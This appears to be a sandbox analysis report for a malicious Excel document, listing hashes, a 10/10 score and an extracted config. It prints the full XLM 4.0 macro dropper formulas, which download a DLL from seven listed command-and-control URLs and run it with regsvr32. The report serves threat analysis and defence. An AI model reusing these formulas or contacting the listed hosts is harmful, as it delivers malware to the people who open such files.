General

  • Target

    8c57ba9959766f78ec198da3596ad57c8e701d4b2939607e2a50b48716dd0656

  • Size

    21KB

  • Sample

    241111-vdepds1kcw

  • MD5

    6ff3d5cf13f625d0a1b3937c0a4bdf0e

  • SHA1

    3fc3fcd6693a567a47b0610de3d26ba91ee71adb

  • SHA256

    8c57ba9959766f78ec198da3596ad57c8e701d4b2939607e2a50b48716dd0656

  • SHA512

    0f5b127ae3b64a993ee11844d7650b9846f26ef2a7418a62c56b8d94c342bbb28a9248ae8802b44583aa464bfb4f9cbb3cf78d8725e3dddce6afd0601187ef70

  • SSDEEP

    384:48c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:4PksNPzXSFCBn9kC+xbLTc9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

http://snappylookphotobooth.com/headers/P/

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

http://casadorothea.com/cc/H5v/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/conditions/8I3WSx5t2k/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://orchidbg.com/aeeiludqootr/OcnjiLHL/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://westthamesphysio.com/blog/3tsZIz09Sox1Z/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://snappylookphotobooth.com/headers/P/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://casadorothea.com/cc/H5v/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

xlm40.dropper

http://snappylookphotobooth.com/headers/P/

xlm40.dropper

http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/

xlm40.dropper

http://casadorothea.com/cc/H5v/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/

xlm40.dropper

https://physioacademy.co.uk/conditions/8I3WSx5t2k/

xlm40.dropper

http://orchidbg.com/aeeiludqootr/OcnjiLHL/

xlm40.dropper

https://westthamesphysio.com/blog/3tsZIz09Sox1Z/

Targets

    • Target

      8c57ba9959766f78ec198da3596ad57c8e701d4b2939607e2a50b48716dd0656

    • Size

      21KB

    • MD5

      6ff3d5cf13f625d0a1b3937c0a4bdf0e

    • SHA1

      3fc3fcd6693a567a47b0610de3d26ba91ee71adb

    • SHA256

      8c57ba9959766f78ec198da3596ad57c8e701d4b2939607e2a50b48716dd0656

    • SHA512

      0f5b127ae3b64a993ee11844d7650b9846f26ef2a7418a62c56b8d94c342bbb28a9248ae8802b44583aa464bfb4f9cbb3cf78d8725e3dddce6afd0601187ef70

    • SSDEEP

      384:48c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:4PksNPzXSFCBn9kC+xbLTc9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks